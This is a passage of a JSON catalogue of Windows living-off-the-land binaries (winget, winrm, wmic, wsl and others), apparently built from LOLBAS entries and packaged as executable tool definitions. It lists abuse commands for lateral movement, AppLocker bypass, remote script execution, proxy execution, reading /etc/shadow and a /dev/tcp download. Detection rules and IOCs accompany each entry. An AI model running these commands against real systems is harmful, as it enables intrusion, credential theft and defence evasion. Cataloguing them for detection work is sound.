    "_body": "\n# winget\n\nwinget is a Windows LOLBin. Windows Package Manager tool Located at: C:\\Users\\user\\AppData\\Local\\Microsoft\\WindowsApps\\winget.exe.\n",
    "_source": "winget.md",
    "allowed-tools": [
      "winget"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Paul Sanders",
    "capabilities": [
      "security.execution.command",
      "network.transfer.download",
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows Package Manager tool Located at: C:\\Users\\user\\AppData\\Local\\Microsoft\\WindowsApps\\winget.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "winget.exe spawned with local manifest file"
      },
      {
        "type": "ioc",
        "description": "Sysmon Event ID 1 - Process Creation"
      },
      {
        "type": "other",
        "url": "https://saulpanders.github.io/2022/01/02/New-Year-New-LOLBAS.html"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_winget_local_install_via_manifest.yml"
      }
    ],
    "examples": [
      {
        "description": "Downloads a file from the web address specified in .yml file and executes it on the system. Local manifest setting must be enabled in winget for it to work: `winget settings --enable LocalManifestFiles` (Download and execute an arbitrary file from the internet)",
        "command": "winget.exe install --manifest {PATH:.yml}"
      },
      {
        "description": "Download and install any software from the Microsoft Store using its name or Store ID, even if the Microsoft Store App itself is blocked on the machine. For example, use \"Sysinternals Suite\" or `9p7knl5rwt25` for obtaining ProcDump, PsExec via the Sysinternals Suite. Note: a Microsoft account is required for this. (Download and install software from Microsoft Store, even if Microsoft Store App is blocked)",
        "command": "winget.exe install --accept-package-agreements -s msstore {name or ID}"
      },
      {
        "description": "Download and install any software from the Microsoft Store using its name or Store ID, even if the Microsoft Store App itself is blocked on the machine, and even if AppLocker is active on the machine. For example, use \"Sysinternals Suite\" or `9p7knl5rwt25` for obtaining ProcDump, PsExec via the Sysinternals Suite. Note: a Microsoft account is required for this. (Download and install software from Microsoft Store, even if Microsoft Store App is blocked, and AppLocker is activated on the machine)",
        "command": "winget.exe install --accept-package-agreements -s msstore {name or ID}"
      }
    ],
    "execution": {
      "template": "winget",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-winget",
    "install": [
      {
        "method": "choco",
        "package_name": "winget",
        "commands": [
          "choco install winget"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "winget",
    "namespace": "windows:execution:winget",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "New-Year-New-LOLBAS.html",
        "url": "https://saulpanders.github.io/2022/01/02/New-Year-New-LOLBAS.html"
      },
      {
        "label": "#production-recommended",
        "url": "https://docs.microsoft.com/en-us/windows/package-manager/winget/#production-recommended"
      },
      {
        "label": "watch?v=zuL7x4Wltto",
        "url": "https://www.youtube.com/watch?v=zuL7x4Wltto"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "exfiltration",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# winrm\n\nwinrm is a Windows LOLBin. Script used for manage Windows RM settings Located at: C:\\Windows\\System32\\winrm.vbs; C:\\Windows\\SysWOW64\\winrm.vbs.\n",
    "_source": "winrm.md",
    "allowed-tools": [
      "winrm"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command",
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Script used for manage Windows RM settings Located at: C:\\Windows\\System32\\winrm.vbs; C:\\Windows\\SysWOW64\\winrm.vbs.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_winrm_awl_bypass.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_winrm_execution_via_scripting_api_winrm_vbs.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/file/file_event/file_event_win_winrm_awl_bypass.yml"
      },
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      }
    ],
    "examples": [
      {
        "description": "Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol (Proxy execution)",
        "command": "winrm invoke Create wmicimv2/Win32_Process @{CommandLine=\"{CMD}\"} -r:http://target:5985"
      },
      {
        "description": "Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol (Proxy execution)",
        "command": "winrm invoke Create wmicimv2/Win32_Service @{Name=\"Evil\";DisplayName=\"Evil\";PathName=\"{CMD}\"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985"
      },
      {
        "description": "Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe. (Execute arbitrary, unsigned code via XSL script)",
        "command": "%SystemDrive%\\BypassDir\\cscript //nologo %windir%\\System32\\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty"
      }
    ],
    "execution": {
      "template": "winrm",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-winrm",
    "install": [
      {
        "method": "choco",
        "package_name": "winrm",
        "commands": [
          "choco install winrm"
        ]
      }
    ],
    "mitre_ids": [
      "T1216",
      "T1220"
    ],
    "name": "winrm",
    "namespace": "windows:execution:winrm",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "windows-operating-system-archaeology",
        "url": "https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology"
      },
      {
        "label": "watch?v=3gz1QmiMhss",
        "url": "https://www.youtube.com/watch?v=3gz1QmiMhss"
      },
      {
        "label": "windows-operating-system-archaeology",
        "url": "https://github.com/enigma0x3/windows-operating-system-archaeology"
      },
      {
        "label": "",
        "url": "https://redcanary.com/blog/lateral-movement-winrm-wmi/"
      },
      {
        "label": "994405551751815170",
        "url": "https://twitter.com/bohops/status/994405551751815170"
      },
      {
        "label": "application-whitelisting-bypass-and-arbitrary-unsi",
        "url": "https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404"
      },
      {
        "label": "wp-windows-management-instrumentation.pdf",
        "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# wlrmdr\n\nwlrmdr is a Windows LOLBin. Windows Logon Reminder executable Located at: c:\\windows\\system32\\wlrmdr.exe.\n",
    "_source": "wlrmdr.md",
    "allowed-tools": [
      "wlrmdr"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Moshe Kaplan",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows Logon Reminder executable Located at: c:\\windows\\system32\\wlrmdr.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_wlrmdr.yml"
      },
      {
        "type": "ioc",
        "description": "wlrmdr.exe spawning any new processes"
      }
    ],
    "examples": [
      {
        "description": "Execute executable with wlrmdr.exe as parent process (Use wlrmdr as a proxy binary to evade defensive countermeasures)",
        "command": "wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u {PATH:.exe}"
      }
    ],
    "execution": {
      "template": "wlrmdr",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-wlrmdr",
    "install": [
      {
        "method": "choco",
        "package_name": "wlrmdr",
        "commands": [
          "choco install wlrmdr"
        ]
      }
    ],
    "mitre_ids": [
      "T1202"
    ],
    "name": "wlrmdr",
    "namespace": "windows:execution:wlrmdr",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1493963591745220608",
        "url": "https://twitter.com/0gtweet/status/1493963591745220608"
      },
      {
        "label": "927437787242090496",
        "url": "https://twitter.com/Oddvarmoe/status/927437787242090496"
      },
      {
        "label": "1461625526640992260",
        "url": "https://twitter.com/falsneg/status/1461625526640992260"
      },
      {
        "label": "ns-shellapi-notifyicondataw",
        "url": "https://docs.microsoft.com/en-us/windows/win32/api/shellapi/ns-shellapi-notifyicondataw"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# wmic\n\nwmic is a Windows LOLBin. The WMI command-line (WMIC) utility provides a command-line interface for WMI Located at: C:\\Windows\\System32\\wbem\\wmic.exe; C:\\Windows\\SysWOW64\\wbem\\wmic.exe.\n",
    "_source": "wmic.md",
    "allowed-tools": [
      "wmic"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "system.file.alternate-data-stream",
      "security.execution.command",
      "system.file.copy"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "The WMI command-line (WMIC) utility provides a command-line interface for WMI Located at: C:\\Windows\\System32\\wbem\\wmic.exe; C:\\Windows\\SysWOW64\\wbem\\wmic.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_suspicious_wmi_script.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/xsl_script_execution_with_wmic.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_wmi_command_attempt.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_process_instantiation_via_wmi.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/endpoint/process_execution_via_wmi.yml"
      },
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      },
      {
        "type": "ioc",
        "description": "Wmic retrieving scripts from remote system/Internet location"
      },
      {
        "type": "ioc",
        "description": "DotNet CLR libraries loaded into wmic.exe"
      },
      {
        "type": "ioc",
        "description": "DotNet CLR Usage Log - wmic.exe.log"
      },
      {
        "type": "ioc",
        "description": "wmiprvse.exe writing files"
      }
    ],
    "examples": [
      {
        "description": "Execute a .EXE file stored as an Alternate Data Stream (ADS) (Execute binary file hidden in Alternate data streams to evade defensive counter measures)",
        "command": "wmic.exe process call create \"{PATH_ABSOLUTE}:program.exe\""
      },
      {
        "description": "Execute calc from wmic (Execute binary from wmic to evade defensive counter measures)",
        "command": "wmic.exe process call create \"{CMD}\""
      },
      {
        "description": "Execute evil.exe on the remote system. (Execute binary on a remote system)",
        "command": "wmic.exe /node:\"192.168.0.1\" process call create \"{CMD}\""
      },
      {
        "description": "Create a volume shadow copy of NTDS.dit that can be copied. (Execute binary on remote system)",
        "command": "wmic.exe process get brief /format:\"{REMOTEURL:.xsl}\""
      },
      {
        "description": "Executes JScript or VBScript embedded in the target remote XSL stylsheet. (Execute script from remote system)",
        "command": "wmic.exe process get brief /format:\"{PATH_SMB:.xsl}\""
      },
      {
        "description": "Copy file from source to destination. (Copy file.)",
        "command": "wmic.exe datafile where \"Name='C:\\\\windows\\\\system32\\\\calc.exe'\" call Copy \"C:\\\\users\\\\public\\\\calc.exe\""
      }
    ],
    "execution": {
      "template": "wmic",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-execution-wmic",
    "install": [
      {
        "method": "choco",
        "package_name": "wmic",
        "commands": [
          "choco install wmic"
        ]
      }
    ],
    "mitre_ids": [
      "T1564.004",
      "T1218",
      "T1105"
    ],
    "name": "wmic",
    "namespace": "windows:execution:wmic",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "wmic-how-to-use-process-call-create-with-a-specifi",
        "url": "https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory"
      },
      {
        "label": "wmicexe-whitelisting-bypass-hacking.html",
        "url": "https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html"
      },
      {
        "label": "986234811944648707",
        "url": "https://twitter.com/subTee/status/986234811944648707"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "execution",
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# workfolders\n\nworkfolders is a Windows LOLBin. Work Folders Located at: C:\\Windows\\System32\\WorkFolders.exe.\n",
    "_source": "workfolders.md",
    "allowed-tools": [
      "workfolders"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Elliot Killick",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Work Folders Located at: C:\\Windows\\System32\\WorkFolders.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_susp_workfolders.yml"
      },
      {
        "type": "ioc",
        "description": "WorkFolders.exe should not be run on a normal workstation"
      },
      {
        "type": "ioc",
        "description": "Registry modification to HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe"
      }
    ],
    "examples": [
      {
        "description": "Execute `control.exe` in the current working directory (Can be used to evade defensive countermeasures or to hide as a persistence mechanism)",
        "command": "WorkFolders"
      },
      {
        "description": "`WorkFolders` attempts to execute `control.exe`. By modifying the default value of the App Paths registry key for `control.exe` in `HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe`, an attacker can achieve proxy execution. (Proxy execution of a malicious payload via App Paths registry hijacking.)",
        "command": "WorkFolders"
      }
    ],
    "execution": {
      "template": "workfolders",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-workfolders",
    "install": [
      {
        "method": "choco",
        "package_name": "workfolders",
        "commands": [
          "choco install workfolders"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "workfolders",
    "namespace": "windows:execution:workfolders",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://www.ctus.io/2021/04/12/exploading/"
      },
      {
        "label": "1449812843772227588",
        "url": "https://twitter.com/ElliotKillick/status/1449812843772227588"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# write\n\nwrite is a Windows LOLBin. Windows Write Located at: C:\\Windows\\write.exe; C:\\Windows\\System32\\write.exe; C:\\Windows\\SysWOW64\\write.exe.\n",
    "_source": "write.md",
    "allowed-tools": [
      "write"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Michal Belzak",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows Write Located at: C:\\Windows\\write.exe; C:\\Windows\\System32\\write.exe; C:\\Windows\\SysWOW64\\write.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "Changes to HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\wordpad.exe"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_app_paths.yml"
      }
    ],
    "examples": [
      {
        "description": "Executes a binary provided in default value of `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\wordpad.exe`. (Execute binary through legitimate proxy. This might be utilized to confuse detection solutions that rely on parent-child relationships.)",
        "command": "write.exe"
      }
    ],
    "execution": {
      "template": "write",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-write",
    "install": [
      {
        "method": "choco",
        "package_name": "write",
        "commands": [
          "choco install write"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "write",
    "namespace": "windows:execution:write",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "b8c5ff7c2bd0fb2b385cc2fdd119874b",
        "url": "https://gist.github.com/mblzk/b8c5ff7c2bd0fb2b385cc2fdd119874b"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# wsl\n\nwsl is a Windows LOLBin. Windows subsystem for Linux executable Located at: C:\\Windows\\System32\\wsl.exe.\n",
    "_source": "wsl.md",
    "allowed-tools": [
      "wsl"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Matthew Brown",
    "capabilities": [
      "security.execution.command",
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows subsystem for Linux executable Located at: C:\\Windows\\System32\\wsl.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wsl_lolbin_execution.yml"
      },
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      },
      {
        "type": "ioc",
        "description": "Child process from wsl.exe"
      }
    ],
    "examples": [
      {
        "description": "Executes calc.exe from wsl.exe (Performs execution of specified file, can be used to execute arbitrary Linux commands.)",
        "command": "wsl.exe -e /mnt/c/Windows/System32/calc.exe"
      },
      {
        "description": "Cats /etc/shadow file as root (Performs execution of arbitrary Linux commands as root without need for password.)",
        "command": "wsl.exe -u root -e cat /etc/shadow"
      },
      {
        "description": "Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u <username>`) on the default WSL distro (unless stated otherwise using `-d <distro name>`) (Performs execution of arbitrary Linux commands.)",
        "command": "wsl.exe --exec bash -c \"{CMD}\""
      },
      {
        "description": "Downloads file from 192.168.1.10 (Download file)",
        "command": "wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'"
      },
      {
        "description": "When executed, `wsl.exe` queries the registry value of `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lxss\\MSI\\InstallLocation`, which contains a folder path (`c:\\program files\\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder. (Execute a payload as a child process of `bash.exe` while masquerading as WSL.)",
        "command": "wsl.exe"
      }
    ],
    "execution": {
      "template": "wsl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-wsl",
    "install": [
      {
        "method": "choco",
        "package_name": "wsl",
        "commands": [
          "choco install wsl"
        ]
      }
    ],
    "mitre_ids": [
      "T1202",
      "T1105",
      "T1218"
    ],
    "name": "wsl",
    "namespace": "windows:execution:wsl",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "microsoft-recommended-block-rules",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      },
      {
        "label": "1535431474429808642",
        "url": "https://twitter.com/nas_bench/status/1535431474429808642"
      },
      {
        "label": "",
        "url": "https://cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# wt\n\nwt is a Windows LOLBin. Windows Terminal Located at: C:\\Program Files\\WindowsApps\\Microsoft.WindowsTerminal_<version_packageid>\\wt.exe.\n",
    "_source": "wt.md",
    "allowed-tools": [
      "wt"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows Terminal Located at: C:\\Program Files\\WindowsApps\\Microsoft.WindowsTerminal_<version_packageid>\\wt.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_windows_terminal_susp_children.yml"
      }
    ],
    "examples": [
      {
        "description": "Execute a command via Windows Terminal. (Use wt.exe as a proxy binary to evade defensive counter-measures)",
        "command": "wt.exe {CMD}"
      }
    ],
    "execution": {
      "template": "wt",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-wt",
    "install": [
      {
        "method": "choco",
        "package_name": "wt",
        "commands": [
          "choco install wt"
        ]
      }
    ],
    "mitre_ids": [
      "T1202"
    ],
    "name": "wt",
    "namespace": "windows:execution:wt",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1552100271668469761",
        "url": "https://twitter.com/nas_bench/status/1552100271668469761"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# wuauclt\n\nwuauclt is a Windows LOLBin. Windows Update Client Located at: C:\\Windows\\System32\\wuauclt.exe; C:\\Windows\\UUS\\amd64\\wuauclt.exe.\n",
    "_source": "wuauclt.md",
    "allowed-tools": [
      "wuauclt"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "David Middlehurst",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows Update Client Located at: C:\\Windows\\System32\\wuauclt.exe; C:\\Windows\\UUS\\amd64\\wuauclt.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/network_connection/net_connection_win_wuauclt_network_connection.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_wuauclt.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wuauclt_execution.yml"
      },
      {
        "type": "ioc",
        "description": "wuauclt run with a parameter of a DLL path"
      },
      {
        "type": "ioc",
        "description": "Suspicious wuauclt Internet/network connections"
      }
    ],
    "examples": [
      {
        "description": "Loads and executes DLL code on attach. (Execute dll via attach/detach methods)",
